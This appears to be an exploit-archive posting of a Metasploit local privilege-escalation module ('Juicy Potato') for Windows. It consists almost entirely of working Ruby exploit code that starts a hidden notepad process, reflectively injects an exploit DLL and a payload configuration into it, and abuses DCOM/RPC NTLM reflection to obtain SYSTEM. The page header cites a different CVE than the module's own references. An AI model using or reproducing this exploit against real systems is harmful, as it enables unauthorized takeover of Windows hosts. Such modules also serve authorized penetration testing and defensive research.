Microsoft Windows Net-NTLMv2 Reflection DCOM/RPC Privilege Escalation

Related Vulnerabilities: cve-2014-4113  
Publish Date: 16 Jan 2019
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/windows/reflective_dll_injection'

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)',
      'Description'    => %q(
        This module utilizes the Net-NTLMv2 reflection between DCOM/RPC
        to achieve a SYSTEM handle for elevation of privilege.
        It requires a CLSID string.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'FoxGloveSec', # the original Potato exploit
          'breenmachine', # Rotten Potato NG!
          'decoder', # Lonely / Juicy Potato
          'ohpe', # Juicy Potato
          'phra', # MSF Module
          'lupman' # MSF Module
        ],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Platform'       => 'win',
      'SessionTypes'   => ['meterpreter'],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'none',
          'WfsDelay' => '20'
        },
      'Targets'        =>
        [
          ['Automatic', {}]
          #['Windows x86', { 'Arch' => ARCH_X86 }],
          #['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
      'Payload'         =>
        {
          'DisableNops' => true
        },
      'References'      =>
        [
          ['MSB', 'MS16-075'],
          ['CVE', '2016-3225'],
          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
          ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
          ['URL', 'https://github.com/breenmachine/RottenPotatoNG'],
          ['URL', 'https://decoder.cloud/2017/12/23/the-lonely-potato/'],
          ['URL', 'https://ohpe.it/juicy-potato/']
        ],
      'DisclosureDate' => 'Jan 16 2016',
      'DefaultTarget'  => 0
    }))

    register_options(
      [
        OptString.new('CLSID', [ true, 'Set CLSID value of the DCOM to trigger', '{4991d34b-80a1-4291-83b6-3328366b9097}' ])
      ])

    register_advanced_options(
      [
        OptAddress.new('RpcServerHost', [ true, 'Set RPC server target host', '127.0.0.1' ]),
        OptPort.new('RpcServerPort', [ true, 'Set RPC server target port', 135 ]),
        OptAddress.new('ListeningAddress', [ true, 'Set listening address for MITM DCOM communication', '127.0.0.1' ]),
        OptPort.new('ListeningPort', [ true, 'Set listening port for MITM DCOM communication', 7777 ]),
        OptString.new('LogFile', [ false, 'Set the log file' ])
      ])
  end

  def assign_target
    if target.name == 'Automatic'
      case sysinfo["Architecture"]
      when 'x86'
        vprint_status("Found we are on an x86 target")
        my_target = targets[1]
      when 'x64'
        vprint_status("Found we are on an x64 target")
        my_target = targets[2]
      else
        fail_with(Failure::NoTarget, "Unable to determine target")
      end
    else
      my_target = target
    end
    return my_target
  end

  # Creates a temp notepad.exe to inject payload in to given the payload
  def create_temp_proc()
    windir = client.sys.config.getenv('windir')
    # Select path of executable to run depending the architecture
    if sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X86 and @payload_arch.first == ARCH_X64
      cmd = "#{windir}\\Sysnative\\notepad.exe"
    elsif sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X64 and @payload_arch.first == ARCH_X86
      cmd = "#{windir}\\SysWOW64\\notepad.exe"
    else
      cmd = "#{windir}\\System32\\notepad.exe"
    end
    begin
      proc = client.sys.process.execute(cmd, nil, {'Hidden' => true})
    rescue Rex::Post::Meterpreter::RequestError
      return nil
    end

    return proc
  end

  def create_temp_proc_stage2()
    windir = client.sys.config.getenv('windir')
    # Select path of executable to run depending the architecture
    if sysinfo["Architecture"] == ARCH_X64 and @payload_arch.first == ARCH_X86
      cmd = "#{windir}\\SysWOW64\\notepad.exe"
    else
      cmd = "#{windir}\\System32\\notepad.exe"
    end
    return cmd
  end

  def check
    privs = client.sys.config.getprivs
    win10build = client.sys.config.sysinfo['OS'].match /Windows 10 \(Build (\d+)\)/
    if win10build and win10build[1] > '17134'
       return Exploit::CheckCode::Safe
    end
    win2019build = client.sys.config.sysinfo['OS'].match /Windows 2019 \(Build (\d+)\)/
    if win2019build and win2019build[1] > '17134'
       return Exploit::CheckCode::Safe
    end
    if privs.include?('SeImpersonatePrivilege')
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end
    @payload_name = datastore['PAYLOAD']
    @payload_arch = framework.payloads.create(@payload_name).arch
    my_target = assign_target
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege')
    end
    if @payload_arch.first == ARCH_X64
      dll_file_name = 'juicypotato.x64.dll'
      vprint_status("Assigning payload juicypotato.x64.dll")
    elsif @payload_arch.first == ARCH_X86
      dll_file_name = 'juicypotato.x86.dll'
      vprint_status("Assigning payload juicypotato.x86.dll")
    else
      fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")
    end
    print_status('Launching notepad to host the exploit...')
    notepad_process = create_temp_proc
    cmd = create_temp_proc_stage2
    begin
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name)
    library_path = ::File.expand_path(library_path)
    print_status("Injecting exploit into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    print_status("Exploit injected. Injecting exploit configuration into #{process.pid}...")
    configuration = "#{datastore['LogFile']}\x00"
    configuration += "#{cmd}\x00"
    configuration += "#{datastore['CLSID']}\x00"
    configuration += "#{datastore['ListeningPort']}\x00"
    configuration += "#{datastore['RpcServerHost']}\x00"
    configuration += "#{datastore['RpcServerPort']}\x00"
    configuration += "#{datastore['ListeningAddress']}\x00"
    configuration += "#{payload.encoded.length}\x00"
    configuration += payload.encoded
    payload_mem = inject_into_process(process, configuration)
    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Configuration injected. Executing exploit...')
    process.thread.create(exploit_mem + offset, payload_mem)
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end
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